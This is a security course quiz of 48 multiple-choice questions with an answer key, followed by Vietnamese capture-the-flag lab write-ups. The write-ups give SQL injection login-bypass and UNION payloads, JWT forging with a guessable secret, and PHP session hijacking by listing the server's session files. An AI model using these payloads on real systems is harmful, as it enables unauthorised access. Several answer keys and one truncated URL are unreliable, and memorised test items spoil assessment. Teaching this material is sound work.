1. An organization's incident response team discovers that an active attacker has managed to replace the core operating system kernel binaries on a critical database server. The modified kernel actively intercepts system API calls, ensuring that the malicious processes, files, and network connections used by the attacker remain completely invisible to the Task Manager, Command Prompt, and local security tools. What category of endpoint attack has been deployed?

A. Ransomware (Imprison)

B. Rootkit (Evade)

C. Trojan Horse (Evade, luring user to install)

D. Worm (Launch)

Đáp án: B

---

2. A system administrator wants to grant a specific developer named alice read and write access to a file named database.cfg. The file is currently owned by root:sysadmin, and alice is not a member of the sysadmin group. The administrator wants to achieve this without changing the file's primary owner, its primary group, or opening access to all other system users. Which command should they use?

A. chmod u+rw alice database.cfg

B. chown alice database.cfg

C. setfacl -m u:alice:rw database.cfg

D. usermod -aG sysadmin alice

Đáp án: C

---

3. A network engineer accidentally applies an incorrect access control list (ACL) to a core corporate router. As a result of this misconfiguration, the router begins dropping all outbound synchronization packets for the company's primary enterprise resource planning (ERP) system. While the server itself is running perfectly in the data center, corporate branch offices worldwide are completely cut off from accessing the live business data. Which specific security property is broken by this router misconfiguration?

A. Confidentiality

B. Integrity

C. Availability

D. Auditability

Đáp án: C

---

4. A clean-up script needs to permanently remove an entire directory structure named /tmp/old_cache along with all of its nested subfolders and files. If the directory is currently populated, which terminal command must be executed to remove it entirely?

A. rm /tmp/old_cache

B. chmod 000 /tmp/old_cache

C. cat /tmp/old_cache

D. rm -r /tmp/old_cache

Đáp án: D

---

5. An attacker initiates a man-in-the-middle (MitM) attack on an unencrypted public Wi-Fi network at an airport. They intercept the network traffic of a traveler who is logging into an online banking portal. While the attacker does not alter any data packets or disrupt the connection, they successfully record the traveler's account balance and account number. Which security criterion has been directly breached?

A. Confidentiality

B. Integrity

C. Availability

D. Authenticity

Đáp án: A

---

6. A cloud security engineer needs to restrict a sensitive shell script named deploy.sh so that only the owner can read, write, and execute it, while the group and all other global users have absolutely no access permissions. Which command achieves this configuration?

A. chmod 700 deploy.sh

B. chown 777 deploy.sh

C. chmod 644 deploy.sh

D. chown 700 deploy.sh

Đáp án: A

---

7. A multinational bank discovers that a disgruntled database administrator used their valid credentials during normal working hours to copy unencrypted customer credit card numbers onto a personal flash drive. The administrator then wiped the system logs for that afternoon to hide their tracks. Because the administrator had legitimate access to the data, the network intrusion detection system triggered no alerts. This scenario highlights a catastrophic failure in which of the following pairs of security controls?

A. Authentication and Authorization

B. Identification and Accounting

C. Prevention and Recovery

D. Auditing and Non-repudiation

Đáp án: D

---

8. An administrator runs a security script that generates a diagnostic log file. To confirm that the file was successfully created in the current directory and to verify its exact size and modified timestamp, which command and flag combination should they use?

A. ls -l

B. pwd -a

C. cat -v

D. whoami

Đáp án: A

---

9. A user logs into their enterprise web application while connected to an unsecured public network. An attacker intercepting the local network traffic captures a specific 32-character alphanumeric string transmitted within the HTTP cookie header of the user's subsequent web requests. Without ever guessing or knowing the user's actual password, the attacker injects this stolen string into their own web browser's cookie storage, refreshes the page, and instantly gains full administrative access to the user's active dashboard. What application security threat was successfully executed?

A. SQL Injection

B. Session Hijacking

C. Session Fixation

D. Directory Traversal

Đáp án: B

---

10. An online banking application allows authenticated users to view their account statements by navigating to a URL structured as https://bank.com. A curious user changes the numerical value at the end of the query string to 94828 and hits enter. The application processes the request and displays the private bank details of a completely different customer without requiring additional verification. What application design vulnerability has occurred?

A. Insecure Direct Object Reference (IDOR)

B. Cross-Site Request Forgery (CSRF)

C. Resource Exhaustion

D. Privilege Escalation

Đáp án: A

---

11. An e-commerce company wants to implement an automated pipeline to handle the lifecycle of its short-lived SSL/TLS certificates. They want their web servers to automatically request new certificates from the CA, complete challenge verifications to prove domain control, and install the renewed certificates without any human administrative intervention. Which standard PKI protocol should the infrastructure team implement to achieve this automated capability?

A. Simple Certificate Enrollment Protocol (SCEP)

B. Automated Certificate Management Environment (ACME)

C. Online Certificate Status Protocol (OCSP) Stapling

D. Public-Key Cryptography Standards #12 (PKCS#12)

Đáp án: B

---

12. A company's external web servers suddenly become unreachable from the public internet. Network monitoring shows that the primary edge router is receiving a massive volume of open-ended connection requests where the source IP addresses are completely faked. The router exhausts its entire session state table waiting for acknowledgment responses that never arrive, dropping legitimate incoming user traffic as a result. What class of attack is this?

A. Replay Attack

B. Smurf Attack

C. SYN Flood

D. Man-in-the-Middle

Đáp án: C

---

13. A software engineer is designing a secure message validation system for an internal microservices architecture. They need a cryptographic mechanism that guarantees both message integrity and authenticity, ensuring that data has not been altered in transit and originates from a trusted source. The engineer is choosing between a standard Message Authentication Code (MAC) and a Hash-based Message Authentication Code (HMAC). Which statement correctly describes a critical design advantage of selecting HMAC over a basic MAC constructed by simply concatenating a secret key with a standard cryptographic hash function?

A. HMAC utilizes error-correcting codes to automatically fix corrupted bits in transit without throwing validation errors.

B. HMAC transforms symmetric data into asymmetric public-private key pairs to prevent non-repudiation.

C. HMAC eliminates the requirement for a shared secret key, allowing anyone to verify the signature using open public directories.

D. HMAC natively protects against length extension attacks by using a unique dual-pass nesting structure with inner and outer padding keys.

Đáp án: D

---

14. A network security engineer observes a spike in alerts from the company's internal core switches. An unknown device plugged into an open Ethernet port in the lobby is flooding the local switch with frames, each containing a different spoofed source MAC address. Within minutes, legitimate devices across the office lose network privacy as the switch stops tracking port mappings and begins broadcasting all local network traffic to every connected port. Which specific network infrastructure attack is occurring?

A. MAC Flooding

B. ARP Poisoning

C. DNS Spoofing

D. VLAN Hopping

Đáp án: A

---

15. When comparing the fundamental design and implementation requirements of symmetric encryption algorithms, which of the following choices correctly identifies a primary difference in how stream ciphers and block ciphers manage arbitrary data lengths?

A. Stream ciphers require the data to be split into 64-bit segments, whereas block ciphers can expand dynamically to handle infinite streams without buffering.

B. Stream ciphers process data linearly without structural modification, whereas block ciphers require a padding scheme (such as PKCS#7) if the plaintext length is not an exact multiple of the block size.

C. Block ciphers dynamically match the size of incoming data down to a single bit, whereas stream ciphers rely entirely on initialization vectors to pad files to a standard size.

D. Block ciphers generate an infinite pseudo-random keystream to mask data lengths, whereas stream ciphers alter the mathematical key size based on the file volume.

Đáp án: B

---

16. A retail business discovers an incident where credit card data was stolen from its point-of-sale (POS) systems. Forensic investigation reveals that a malicious background process was specifically designed to continuously read the volatile memory segments of the active POS terminal application. It extracted the unencrypted track data of payment cards at the exact millisecond the data was read from the card reader and held in RAM before being encrypted for transmission. Which type of endpoint attack is this?

A. Privilege Escalation (Launch, Evade)

B. Directory Traversal (Snoop)

C. Memory Scraping (Snoop)

D. Buffer Overflow (Launch)

Đáp án: C

---

17. A directory named /shares/marketing has a default ACL configured so that any new files created inside it are automatically accessible to the marketing group. A user executes ls -ld /shares/marketing to analyze its directory-level properties. Which column or segment of the output string confirms whether the object is fundamentally a directory rather than a standard file or a symbolic link?

A. The very first character of the 10-character permission string.

B. The link count number located immediately after the permission string.

C. The primary group owner name string listed after the user owner.

D. The trailing character suffix appended to the end of the folder name.

Đáp án: A

---

18. A software development firm uses an automated code repository to store proprietary algorithms. Due to a misconfigured permission setting on the cloud storage bucket, the repository's access level was accidentally changed from "Private" to "Public." A security researcher discovers the open repository and views the proprietary source code, but does

not download, alter, or delete any files before notifying the company. From the perspective of the firm, which security criterion was broken?

A. Confidentiality

B. Integrity

C. Availability

D. Authenticity

Đáp án: A

---

19. An administrator needs to quickly clear out a specific log file named debug.log in the local directory without deleting the file object itself from the disk architecture. Which command sequence completely truncates the file contents to zero bytes?

A. rm debug.log

B. chown 000 debug.log

C. cat debug.log

D. echo -n "" > debug.log

Đáp án: D

---

20. A disgruntled employee discovers a flaw in the input validation of their company's HR database application. Using a SQL injection technique, the employee updates the payroll database to double their own salary and reduce their supervisor's salary to zero. The application remains fully accessible, and no external data exfiltration occurs. Which core component of the security has been violated in this scenario?

A. Confidentiality

B. Integrity

C. Availability

D. Auditability

Đáp án: B

---

21. A system administrator moves a web directory from a temporary folder to /var/www/html. The files currently belong to the user backup. The administrator needs to change the file owner to www-data so the Apache web server can manage them. Which command completes this change?

A. chown www-data /var/www/html

B. chmod www-data /var/www/html

C. rm -rf www-data /var/www/html

D. cd www-data /var/www/html

Đáp án: A

---

22. A healthcare clinic implements a security system where a doctor must first enter a password on a computer, then scan a physical smart card, and finally provide a fingerprint scan to access electronic health records. During a system upgrade, the IT department accidentally misconfigures the authentication gateway, causing the system to grant access if a user provides either a valid password or a valid smart card scan. Which design principle did this misconfiguration violate, and how did it change the authentication factors?

A. Economy of Mechanism; it reduced the factors from three to one.

B. Fail-Safe Defaults; it increased the factors from two to three.

C. Layered Defense; it reduced the factors from three to two.

D. Psychological Acceptability; it changed the factors from something you know to something you are.

Đáp án: A

---

23. A technician is logged into a shared Linux server via SSH and needs to confirm exactly which user account privileges their current shell session is executing under. Which command will output the effective username of the active session?

A. pwd

B. echo

C. ls

D. whoami

Đáp án: D

---

24. A financial technology company relies heavily on automated scripts that query an external third-party API for real-time market data. A massive distributed denial-of-service (DDoS) attack targets the API provider, causing their servers to go completely offline for six hours. The fintech company's internal application remains operational, but its core dashboard displays blank metrics, halting all client trading activities. Which security criterion has been directly compromised from the perspective of the fintech company's users?

A. Confidentiality

B. Integrity

C. Availability

D. Accountability

Đáp án: C

---

25. A systems administrator needs to verify the absolute directory path of their current shell environment before executing a configuration script. They type a command into the terminal, and the output displays /var/log/nginx. Which built-in Linux command was executed to display this information?

A. cd

B. pwd

C. ls

D. whoami

Đáp án: B

---

26. An automated scanning utility alerts an application developer that their codebase contains an architecture flaw known as "Time-of-Check to Time-of-Use" (TOCTOU). The utility warns

that a multithreaded file transfer module checks to see if a specific folder path has valid user write permissions, but a small delay exists before the actual file-writing operation begins. An attacker could potentially swap the target folder for a symbolic link to a protected system folder during that exact gap. What category of vulnerability is this?

A. Buffer Overflow

B. Injection Attack

C. Improper Error Handling

D. Race Condition

Đáp án: D

---

27. An international online retailer wants to protect its customers from intercepting attackers who might try to capture sensitive payment card information during transmission. While the retailer could simply encrypt all traffic using a pre-shared public key, they realize that encryption alone does not prevent a sophisticated attacker from setting up a rogue server that impersonates the legitimate website. Which fundamental security vulnerability does a Public Key Infrastructure (PKI) with digital certificates solve in this scenario?

A. It provides automated data compression to reduce network handshake latency over low-bandwidth client connections.

B. It prevents unauthorized physical access to the backend database hosting clusters.

C. It acts as an automated firewall to filter out malicious SQL injection payloads at the network layer.

D. It provides trusted third-party verification of identity to prevent man-in-the-middle impersonation attacks.

Đáp án: D

---

28. A security auditor reviews a web application's search feature. When they type a query like <script>alert('Vulnerable')</script> into the search input field, the application immediately processes the input and executes the JavaScript code directly within the auditor's browser window. The auditor notes that this script execution is not stored on the database server and only affects the individual user who submits the malformed link. What specific coding flaw is present?

A. Stored Cross-Site Scripting (XSS)

B. Reflected Cross-Site Scripting (XSS)

C. Cross-Site Request Forgery (CSRF)

D. SQL Injection

Đáp án: B

---

29. An infrastructure team is auditing a legacy network protocol that uses a primitive Message Authentication Code (MAC) based on a custom block cipher construction. They decide to upgrade the system to use a Hash-based Message Authentication Code (HMAC) utilizing SHA-256. When evaluating the underlying performance and security differences during the migration, which of the following characteristics represents a primary operational distinction between these two primitives?

A. HMAC relies entirely on asymmetric prime factorization, making it slower but more secure than block-cipher-based MACs.

B. HMAC is decoupled from the underlying hash function's block size, allowing it to dynamically truncate signatures down to a single bit.

C. HMAC is built on top of existing cryptographic hash functions rather than block ciphers, allowing it to execute faster in software environments where dedicated hardware acceleration for ciphers is absent.

D. HMAC requires a brand new, unique cryptographic key to be generated and exchanged for every single individual packet transmitted.

Đáp án: C

---

30. An attacker connects a rogue laptop to a conference room Ethernet port and runs an automated tool that answers incoming network requests faster than the legitimate infrastructure. The tool systematically sends responses to neighboring workstations claiming that the attacker's laptop is the default gateway for the subnet. As a result, all outbound internet traffic from the office branch is silently routed through the attacker's machine before reaching the real router. What type of infrastructure threat does this represent?

A. MAC Poisoning

B. Rogue DHCP Server

C. Domain Hijacking

D. ARP Poisoning

Đáp án: B

---

31. An embedded systems programmer is developing firmware for a battery-powered sensor with highly constrained random-access memory (RAM) and limited processing capabilities. The sensor must transmit small packets of environmental metrics periodically. The programmer selects a stream cipher because its underlying mathematical architecture is generally simpler and consumes fewer hardware resources than a standard block cipher. What core mathematical mechanism allows a stream cipher to achieve this efficiency?

A. It splits data into overlapping matrix blocks to skip processing steps.

B. It relies on complex round-based substitutions and permutations across a fixed state matrix.

C. It uses asymmetric prime factorization to compress data before applying the symmetric key.

D. It combines a pseudo-random keystream with the plaintext using a simple bitwise Exclusive OR (XOR) operation.

Đáp án: D

---

32. A network administrator receives multiple alerts that a remote branch employee's laptop is initiating thousands of unauthorized internal connection requests to neighboring office workstations. Upon investigating the endpoint, the administrator discovers that the user's built-in webcam indicator light is flashing, mouse movements are occurring without user input, and local system configurations have been altered. The user admits to downloading a pirated media player utility earlier that morning. What specific endpoint threat is active?

A. Ransomware

B. Remote Access Trojan (RAT)

C. Macro Virus

D. Spyware

Đáp án: B

33. A security architect is selecting a cryptographic primitive to secure a real-time voice-over-IP (VoIP) communications system. The application requires extremely low latency, processing data with minimal memory overhead, and must encrypt the payload instantly as individual bits or bytes arrive over the network stream. Which type of cryptographic algorithm natively satisfies these operational characteristics?

A. Stream Cipher

B. Block Cipher operating in Electronic Codebook (ECB) mode

C. Block Cipher operating in Cipher Block Chaining (CBC) mode

D. Asymmetric Key Algorithm

Đáp án: A

---

34. A security analyst observes that a financial workstation is exhibiting highly suspicious behavior, but standard automated Endpoint Detection and Response (EDR) software reports the operating system files are fully intact and trusted. Further manual memory analysis reveals that malicious payload code is running directly inside the volatile RAM allocated to a legitimate, signed web browser process. The analyst confirms no suspicious executable files were ever written to the local solid-state drive (SSD). Which specific type of endpoint threat is described in this scenario?

A. Fileless Malware

B. Logic Bomb

C. Crypto-malware

D. Keylogger

Đáp án: A

---

35. A security administrator issues an ls -l command on a sensitive system configuration file. The terminal displays the following output: -rwxr-x--- 1 root security 4096 Jun 06 12:00 audit.sh Based on this output, which of the following statements accurately describes the permissions applied to users who belong to the security group but are not the root user?

A. They can read and execute the file, but they cannot modify it.

B. They have full read, write, and execute permissions.

C. They can read and modify the file, but they cannot execute it.

D. They have absolutely no read, write, or execute access.

Đáp án: A

---

36. An e-commerce retailer experiences a massive surge in network traffic during a flash sale due to a coordinated botnet launching an ICMP flood attack. The overwhelming volume of traffic saturates the company's network bandwidth, causing the web servers to drop legitimate user requests. Real customers are met with time-out errors and cannot browse products or check out. The underlying database and customer records remain completely secure and unaltered. Which security criterion is compromised?

A. Confidentiality

B. Integrity

C. Availability

D. Authenticity

Đáp án: C

---

37. A user is navigating the Linux file system inside their terminal. They are currently working in the directory /home/user/downloads/project1 and want to immediately navigate up exactly two levels into the /home/user folder. Which command should they execute?

A. pwd ../..

B. rm -r ../..

C. ls /home/user

D. cd ../..

Đáp án: D

---

38. A software company deploys a web application that handles sensitive user data. To protect the infrastructure, the security team implements a network firewall, sets up a web

application firewall (WAF), mandates multi-factor authentication (MFA) for all administrative accounts, and runs weekly vulnerability scans on the source code. Despite these measures, an attacker exploits a zero-day vulnerability in the underlying operating system kernel and gains root access. The security team is able to isolate the affected server quickly because the network was strictly segmented. This defensive strategy is an example of which concept?

A. Risk Avoidance

B. Fail-Secure Design

C. Security through Obscurity

D. Defense in Depth

Đáp án: D

---

39. A DevOps engineer needs to create an environment variable file dynamically. They want to append the exact text string DB_HOST=10.0.0.5 directly into an existing file named .env. Which command structure should they execute?

A. cat "DB_HOST=10.0.0.5" > .env

B. chown "DB_HOST=10.0.0.5" .env

C. echo "DB_HOST=10.0.0.5" >> .env

D. cd "DB_HOST=10.0.0.5" >> .env

Đáp án: C

---

40. An entry-level software engineer is granted read and write access to the entire production database to troubleshoot a single customer's billing anomaly. While navigating the database, the engineer accidentally runs an unoptimized query that deletes an entire table of legacy transaction history. The organization's security policy states that employees should only have the minimum access necessary to perform their jobs. Which security principle was violated, and what was the resulting operational impact?

A. Defense in Depth; a loss of confidentiality

B. Least Privilege; a loss of integrity

C. Separation of Duties; a loss of availability

D. Non-repudiation; a loss of accountability

Đáp án: B

---

41. A developer wants to quickly view the entire raw text configuration of a file named application.conf without launching a text editor like Vim or Nano. Which command should they use to output the complete content of this file directly to the terminal standard output?

A. echo application.conf

B. cd application.conf

C. cat application.conf

D. pwd application.conf

Đáp án: C

---

42. A retail web interface includes a tracking system where clients type in their order tracking number to pull shipping details. The internal system processes these queries by combining the string input directly into an internal database request: SELECT * FROM orders WHERE tracking_num = 'INPUT'. An attacker submits the string ' OR '1'='1. The database engine interprets this string as a logical argument and dumps every single customer record in the database onto the screen. What vulnerability is present?

A. Cross-Site Scripting (XSS)

B. SQL Injection (SQLi)

C. Server-Side Request Forgery (SSRF)

D. Command Injection

Đáp án: B

---

43. During a security assessment of a legacy desktop application written in C, an engineer finds that a user registration input field accepts up to 256 characters. However, the application

code reserves a fixed internal memory partition of only 64 bytes for this string variable. When the engineer inputs a 200-character string containing specific executable operations, the program crashes, and the CPU instruction pointer begins executing the trailing code snippet injected by the engineer. What security flaw was exploited?

A. Directory Traversal

B. Integer Overflow

C. Race Condition

D. Buffer Overflow

Đáp án: D

---

44. An organization is deploying a new public-facing web application and needs to obtain a trusted SSL/TLS certificate. The systems administrator generates a key pair on the local web server and creates a standard file contains the organization's public key, common name, and geographic details. This file must be digitally submitted to a trusted Certificate Authority (CA) to initiate the validation process. What is the technical term for this specific document file?

A. Root Certificate

B. Certificate Revocation List (CRL)

C. Registration Authority (RA) Manifest

D. Certificate Signing Request (CSR)

Đáp án: D

---

45. Users at a corporate headquarters report that when they try to navigate to a well-known public cloud storage portal, their browsers throw certificate warnings, and the interface displays a spoofed login portal hosted on an external IP address. The network team investigates and finds that the internal authorized database mapping domain names to IP addresses has been directly manipulated via unauthorized cache injection. What infrastructure vulnerability was exploited?

A. DNS Poisoning

B. URL Hijacking

C. IP Spoofing

D. BGP Route Hijacking

Đáp án: A

---

46. A cryptography student is evaluating how transmission errors over a noisy satellite link affect different encryption algorithms. They discover that if a single bit of ciphertext is corrupted or lost during transit when using a traditional block cipher in Cipher Block Chaining (CBC) mode, the error propagates, corrupting the entire current block and affecting the subsequent block during decryption. Conversely, when using a basic synchronous stream cipher, a single bit flipped in transit only corrupts that exact corresponding bit in the decrypted plaintext. What property explains this operational difference?

A. The lack of error propagation and inter-block dependencies in stream ciphers.

B. The use of dynamic padding schemes in stream ciphers.

C. The requirement of block ciphers to execute asymmetric key distribution for every block.

D. The ability of stream ciphers to automatically request packet retransmissions at the hardware layer.

Đáp án: A

---

47. During a routine audit of a software company's proprietary source code, a security engineer uncovers a hidden block of code embedded deep within a critical customer billing module. The code specifies that if a particular senior developer's employee ID is ever removed from the corporate active directory database, the application will immediately execute a routine that completely formats the primary data storage volumes. What type of endpoint threat does this code snippet represent?

A. Adware

B. Ransomware

C. Logic Bomb

D. Rootkit

Đáp án: C

48. During a forensic review of an encrypted storage system, a security analyst notices that two identical plaintext blocks within a database backup file always produce identical ciphertext output blocks. This predictability allows an attacker to deduce structural patterns within the underlying data payload. This vulnerability is a characteristic flaw of which specific configuration?

A. A stream cipher using a reused keystream

B. A stream cipher operating without feedback mechanisms

C. A block cipher operating in Electronic Codebook (ECB) mode

D. A block cipher operating in Cipher Block Chaining (CBC) mode

Đáp án: C

> **Lưu ý:** Phần lab được phục dựng lại từ phần lời giải do quên lưu đề gốc.
> Nội dung đã được kiểm tra và viết sát nhất có thể theo logic của đáp án, nhưng câu chữ có thể không trùng 100% với đề ban đầu.

Lab 1 — Hidden file permission

Đề bài phục dựng

Bạn được cấp shell trên máy lab với user `paul`. Trong thư mục home của user này có một file flag bị ẩn và bị chỉnh quyền bất thường. Hãy tìm file flag và đọc nội dung của nó.

Cách làm

Liệt kê thư mục home của `paul`:

```
ls -la /home/paul/
```

Thấy một thư mục lạ, ví dụ:

```
.cache_
```

Vào kiểm tra thư mục đó:

```
ls -la /home/paul/.cache_/
```

Thấy file:

```
.flag
```

Nhưng quyền của file có dạng lạ, kiểu chỉ có quyền ghi, không có quyền đọc:

```
--w-------
```

Vì mình là owner hoặc có quyền đổi permission nên thêm quyền đọc:

```
chmod +r /home/paul/.cache_/.flag
```

Sau đó đọc flag:

```
cat /home/paul/.cache_/.flag
```

Kết quả hiện ra chính là flag của lab.

Lab 2 — Find hidden flag and decode hex

Đề bài phục dựng

Trong thư mục `/home/paul/.cache` có một file `.flag` bị giấu sâu trong nhiều thư mục con. Nội dung flag đang bị mã hóa hoặc biểu diễn dưới dạng hex. Hãy tìm file `.flag`, đọc nội dung, sau đó giải mã để lấy flag thật.

Cách làm

Dùng `find` để tìm file `.flag`:

```
find /home/paul/.cache -name '.flag' -type f
```

Lệnh sẽ trả ra đường dẫn dạng:

```
/home/paul/.cache/<folder1>/<folder2>/.flag
```

Đọc nội dung file:

```
cat /home/paul/.cache/<folder1>/<folder2>/.flag
```

Nội dung nhận được là chuỗi hex, ví dụ dạng:

```
6a36587967493234
```

Giải mã hex về text bằng `xxd`:

```
echo 6a36587967493234 | xxd -r -p
```

Trong bài thật thì thay chuỗi hex bằng kết quả bạn tự lấy được từ file `.flag`, không dùng lại kết quả mẫu trong lời giải cũ.

Lab 3 — Local web service and base64 path

Đề bài phục dựng

Trên máy lab có một service web đang chạy ở localhost. Bạn cần tìm port của service, đọc hướng dẫn ở trang chủ, sau đó gọi đúng endpoint đã được encode bằng base64 để lấy flag. Flag có thể bị trộn trong một đoạn dummy text, cần tìm chuỗi 8 ký tự khác biệt.

Cách làm

Xem các service đang listen:

```
ss -tlnp
```

Tìm port web đang mở, trong lời giải là:

```
8821
```

Curl trang chủ để đọc hướng dẫn:

```
curl -s http://localhost:8821/
```

Theo hint, cần encode chuỗi:

```
getflag
```

sang base64 và bỏ dấu `=` padding:

```
echo -n 'getflag' | base64 | tr -d '='
```

Kết quả dạng:

```
Z2V0ZmxhZw
```

Gửi request đến endpoint đó:

```
curl -s http://localhost:8821/Z2V0ZmxhZw
```

Server trả về một đoạn text dài/dummy text. Trong đó có một chuỗi 8 ký tự khác biệt, chuỗi đó là flag.

Lab 4 — Guess hidden endpoint

Đề bài phục dựng

Bạn được cung cấp một link web challenge. Trang web không hiển thị flag trực tiếp, nhưng có một endpoint đơn giản dùng để lấy flag. Hãy tìm hoặc đoán endpoint đó.

Cách làm

Mở link challenge ban đầu.

Sau đó thêm:

```
/getflag
```

vào cuối URL.

Ví dụ:

```
http://challenge-url/getflag
```

Nếu đúng endpoint, trang sẽ trả về flag.

Lab 5 — Generate JWT HS256 token

Đề bài phục dựng

Web challenge yêu cầu bạn tạo một JWT hợp lệ để xác thực user. JWT dùng thuật toán `HS256`. Payload cần chứa trường `sub` là username hoặc user account của bạn. Secret dùng để ký cũng chính là username/user account đó. Hãy tự tạo JWT rồi nhập vào web để generate/lấy flag.

Cách làm

Tạo phần header JWT:

```
HEADER=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d
'=')
```

Tạo payload, thay `<your_useraccount>` bằng username/useraccount của bạn:

```
PAYLOAD=$(echo -n '{"sub":"<your_useraccount>"}' | base64 -w0 | tr '+/' '-_' | tr -d
'=')
```

Tạo chữ ký HS256. Ở phần `-hmac`, cũng thay `<your_useraccount>` bằng username/useraccount của bạn:

```
SIGNATURE=$(echo -n "${HEADER}.${PAYLOAD}" | openssl dgst -sha256 -hmac "
<your_useraccount>" -binary | base64 -w0 | tr '+/' '-_' | tr -d '=')
```

In JWT hoàn chỉnh:

```
echo "${HEADER}.${PAYLOAD}.${SIGNATURE}"
```

Copy JWT vừa in ra, dán vào web challenge, rồi bấm `generate` hoặc submit để lấy flag.

Lab 6 — SQL Injection login bypass

Đề bài phục dựng

Trang web có form đăng nhập gồm `username` và `password`. Password được lưu plaintext trong database, và username/password được kiểm tra cùng trong một câu query. Chức năng login bị lỗi SQL Injection. Hãy bypass đăng nhập để lấy flag.

Cách làm

Ở ô username nhập:

```
' OR '1'='1' --
```

Lưu ý có dấu cách ở cuối sau `--`.

Ở ô password nhập tùy ý, ví dụ:

```
123
```

Payload đầy đủ:

```
Username: ' OR '1'='1' --
Password: 123
```

Ý tưởng là query có thể đang dạng:

```
SELECT ... FROM users
WHERE username = '<username>' AND password = '<password>';
```

Sau khi chèn payload:

```
WHERE username = '' OR '1'='1' -- ' AND password = '123';
```

Phần sau `--` bị comment, còn điều kiện:

```
'1'='1'
```

luôn đúng, nên login thành công.

Nếu payload trên chưa được, thử biến thể:

```
admin' --
```

hoặc:

```
' OR 1=1 --
```

Nhớ có dấu cách sau `--`.

Lab 7 — SQL Injection UNION enumerate tables

Đề bài phục dựng

Trang login hoặc form username bị lỗi SQL Injection. Khác Lab 6, ở lab này server có thể chỉ query password theo username trước, sau đó PHP mới so sánh password lấy từ database với password người dùng nhập bằng câu `if`. Bạn cần dùng `UNION SELECT` để tạo một dòng kết quả giả có password trùng với password nhập vào.

Cách làm

Ở ô username nhập:

```
' UNION SELECT table_name, '123456' FROM information_schema.tables WHERE
table_schema=database() --
```

Ở ô password nhập:

```
123456
```

Ý nghĩa payload:

```
UNION SELECT table_name, '123456'
```

dùng để ghép kết quả truy vấn với danh sách tên bảng.

Phần:

```
FROM information_schema.tables
WHERE table_schema=database()
```

dùng để lấy các bảng thuộc database hiện tại.

Quan trọng là cột password giả được đặt là:

```
123456
```

và password mình nhập cũng là:

```
123456
```

nên khi PHP so sánh bằng `if`, điều kiện đúng và login thành công.

Phần:

```
--
```

dùng để comment phần SQL còn lại.

Nếu bị lỗi:

```
The used SELECT statements have a different number of columns
```

thì số cột trong `UNION SELECT` chưa khớp với query gốc. Có thể dò thử:

```
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL --
```

Lab 8 — SQL Injection UNION match number of columns

Đề bài phục dựng

Trang web có lỗ hổng SQL Injection. Lab này giống Lab 7, nhưng query gốc lấy nhiều cột hơn, ví dụ `id`, `fullname`, `username`, `password`. Bạn cần dùng `UNION SELECT` với đúng số lượng cột để tạo một dòng dữ liệu hợp lệ và bypass login.

Cách làm

Ở ô username nhập:

```
' UNION SELECT 'a', 'a', 'a', '123456' --
```

Ở ô password nhập:

```
123456
```

Payload này cho thấy truy vấn gốc cần 4 cột trong phần `UNION SELECT`.

Các giá trị:

```
'a', 'a', 'a', '123456'
```

là dữ liệu giả để khớp số cột và kiểu dữ liệu.

Cột cuối được đặt là:

```
123456
```

vì đây có thể là cột password được PHP lấy ra để so sánh với password mình nhập.

Có thể hiểu payload đang tạo một user giả:

```
field1   = a
field2   = a
field3   = a
password = 123456
```

Sau đó PHP so sánh password trong kết quả query với password nhập vào. Vì cả hai đều là `123456`, nên login thành công.

Nếu bản trên lỗi kiểu dữ liệu, thử biến thể:

```
' UNION SELECT NULL, 'a', 'a', '123456' --
```

Phần cuối:

```
--
```

comment phần còn lại của truy vấn.

Lab 9 — PHP session hijack via session files

Đề bài phục dựng

Challenge có 2 link: một link web chính và một link helper. Helper cho phép nhập đường dẫn server-side. Bạn cần dùng helper để đọc thư mục chứa PHP session, lấy session ID hợp lệ, rồi thay cookie `PHPSESSID` trên web chính để chiếm session và lấy flag.

Cách làm

Vào link helper.

Nhập đường dẫn:

```
/var/lib/php/sessions
```

Bấm Enter hoặc submit.

Helper sẽ trả về danh sách file session dạng:

```
sess_vnr8mnm9keho794jfqb3pcmr7n
```

Chỉ lấy phần sau `sess_`, ví dụ:

```
vnr8mnm9keho794jfqb3pcmr7n
```

Quay lại web chính.

Mở DevTools:

```
Right click → Inspect
```

Vào tab:

```
Application → Cookies
```

Tìm cookie:

```
PHPSESSID
```

Thay giá trị `PHPSESSID` bằng session ID vừa lấy được, tức là phần sau `sess_`.

Nếu có nhiều file session thì thử từng cái một.

Reload web chính. Khi trúng session hợp lệ, web sẽ hiện flag.

Lab 10 — Decode JWT payload from token file

Đề bài phục dựng

Trong thư mục lab có file `/home/paul/token.txt`. File này chứa một JWT hoặc token dạng 3 phần ngăn cách bằng dấu chấm. Flag nằm trong phần payload của token. Hãy đọc token, decode payload và tìm flag 8 ký tự.

Cách làm

Đọc file token:

```
cat /home/paul/token.txt
```

Token thường có dạng:

```
header.payload.signature
```

Lấy phần thứ 2, tức payload:

```
cat /home/paul/token.txt | cut -d'.' -f2
```

Decode payload bằng base64:

```
cat /home/paul/token.txt | cut -d'.' -f2 | base64 --decode
```

Nếu lệnh trên bị lỗi do token dùng base64url hoặc thiếu padding `=`, đổi ký tự base64url về base64 thường rồi tự thêm padding:

```
cat /home/paul/token.txt | cut -d'.' -f2 | tr '_-' '/+' | awk
'{while(length($0)%4)$0=$0"="; print}' | base64 --decode
```

Nếu muốn xem cả 2 phần `header` và `payload` thì chạy:

```
cat /home/paul/token.txt | cut -d'.' -f1 | tr '_-' '/+' | awk
'{while(length($0)%4)$0=$0"="; print}' | base64 --decode
echo
cat /home/paul/token.txt | cut -d'.' -f2 | tr '_-' '/+' | awk
'{while(length($0)%4)$0=$0"="; print}' | base64 --decode
```

Nếu phần header decode ra kiểu:

```
{"alg":"HS256","typ":"JWT"}
```

thì đó mới chỉ là header, chưa phải flag.

Cần nhìn kỹ phần payload, tức phần thứ 2 của token. Sau khi decode, đọc nội dung JSON hoặc text hiện ra và tìm chuỗi flag 8 ký tự.

Nếu payload chứa một chuỗi base64 khác bên trong, ví dụ:

```
{"flag":"YWJjZDEyMzQ"}
```

thì copy giá trị đó rồi decode tiếp:

```
echo -n "YWJjZDEyMzQ" | base64 --decode
```

Kết quả cuối cùng là flag của lab.